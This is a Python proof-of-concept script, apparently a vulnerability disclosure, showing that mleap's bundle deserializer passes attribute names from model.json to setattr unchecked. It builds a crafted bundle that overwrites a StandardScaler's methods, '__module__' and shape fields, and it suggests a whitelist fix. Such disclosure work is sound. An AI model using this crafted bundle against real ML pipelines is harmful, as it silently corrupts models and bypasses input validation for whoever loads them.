"""
PoC: MLeap Bundle Arbitrary Attribute Injection via model.json
Target : mleap (PyPI `mleap`)
Format : MLeap Bundle (.zip directory with model.json)
Tested : mleap 0.25.1, Python 3.12
Author : mgm-77 / MBM7

=== Finding: MLeapDeserializer.deserialize_single_input_output() calls
    setattr(transformer, attribute, value) where `attribute` comes
    directly from model.json with NO validation or whitelist ===
CWE-915 (Improperly Controlled Modification of Dynamically-Determined Object Attributes)
UBDAF Q14 (Invariant Violation) / Q11 (Model loading integrity)

mleap/bundle/serialize.py, deserialize_single_input_output(), line 208:

    for attribute in attributes.keys():       # ← from model.json, unchecked
        value_key = [key for key in attributes[attribute].keys()
                     if key in ['string', 'boolean', 'long', 'double', 'data_shape']][0]
        setattr(transformer, attribute, attributes[attribute][value_key])
        #                    ^^^^^^^^^  ANY Python attribute name from JSON

=== Impact ===
A crafted MLeap bundle model.json can:
1. Overwrite sklearn transformer methods (transform, predict, fit)
   → TypeError at inference time, silent model corruption
2. Set __module__ to arbitrary string → namespace confusion
3. Inject arbitrary n_features_in_ → bypass shape validation
4. Overwrite any instance attribute → data integrity violation

Invariant violated: "only legitimate model attributes are set from bundle"
"""

import json
import os
import sys
import tempfile

import numpy as np
from sklearn.preprocessing import StandardScaler
from mleap.bundle.serialize import MLeapDeserializer


def make_malicious_bundle(tmpdir: str) -> str:
    """Create a MLeap bundle directory with injected attributes."""
    node_dir = os.path.join(tmpdir, "standard_scaler")
    os.makedirs(node_dir)

    # model.json with injected attributes alongside legitimate ones
    model_json = {
        "op": "standard_scaler",
        "attributes": {
            # Legitimate attributes
            "mean_":  {"double": [0.5, 1.5, 2.5]},
            "var_":   {"double": [1.0, 1.0, 1.0]},
            "scale_": {"double": [1.0, 1.0, 1.0]},
            # === INJECTED ATTRIBUTES ===
            "transform":      {"string": "HIJACKED"},          # overwrite method
            "predict":        {"string": "injected"},          # inject new attr
            "__module__":     {"string": "os"},                # __dunder__ injection
            "n_features_in_": {"long": 9_999_999_999},        # bypass shape check
            "with_mean":      {"boolean": False},              # overwrite config
        }
    }

    node_json = {
        "name": "standard_scaler_0",
        "shape": {
            "inputs":  [{"name": "features"}],
            "outputs": [{"name": "scaled_features"}]
        }
    }

    with open(os.path.join(node_dir, "model.json"), "w") as f:
        json.dump(model_json, f, indent=2)
    with open(os.path.join(node_dir, "node.json"), "w") as f:
        json.dump(node_json, f, indent=2)

    return node_dir


# ── Main ──────────────────────────────────────────────────────────────────────

print("=" * 64)
print("MLeap Bundle Arbitrary Attribute Injection")
print("CWE-915 / Q14 Invariant Violation")
print("=" * 64)

deser = MLeapDeserializer()

with tempfile.TemporaryDirectory() as tmpdir:
    node_dir = make_malicious_bundle(tmpdir)
    transformer = StandardScaler()

    print(f"\n  [Before loading]")
    print(f"  transformer.transform type : {type(transformer.transform).__name__} (method)")
    print(f"  transformer.__module__     : {transformer.__module__}")

    result = deser.deserialize_single_input_output(transformer, node_dir)

    print(f"\n  [After loading crafted bundle]")
    print(f"  result.mean_               : {result.mean_}  (legitimate)")
    print(f"  result.transform           : {repr(getattr(result, 'transform', None))}  ← INJECTED (was method!)")
    print(f"  result.predict             : {repr(getattr(result, 'predict', None))}  ← INJECTED (new attr)")
    print(f"  result.__module__          : {result.__module__}  ← INJECTED")
    print(f"  result.n_features_in_      : {result.n_features_in_}  ← INJECTED (bypass shape check)")

    print(f"\n  [Impact: calling transform() after injection]")
    try:
        out = result.transform([[1.0, 2.0, 3.0]])
        print(f"  result.transform(X)        : {out}")
    except Exception as e:
        print(f"  result.transform(X)        : {type(e).__name__}: {e}")
        print(f"  ← Silent model corruption: inference fails after loading malicious bundle")

print()
print("=" * 64)
print("Root cause — mleap/bundle/serialize.py line 208:")
print()
print("  for attribute in attributes.keys():      # from model.json")
print("      setattr(transformer, attribute, ...) # NO whitelist")
print()
print("Suggested fix: validate attribute against a whitelist:")
print("  ALLOWED_ATTRS = {'mean_', 'var_', 'scale_', 'with_mean', ...}")
print("  if attribute not in ALLOWED_ATTRS:")
print("      raise ValueError(f'Attribute {attribute!r} not allowed')")
print()
print("=" * 64)
import importlib.metadata
print(f"mleap  : {importlib.metadata.version('mleap')}")
print(f"Python : {sys.version.split()[0]}")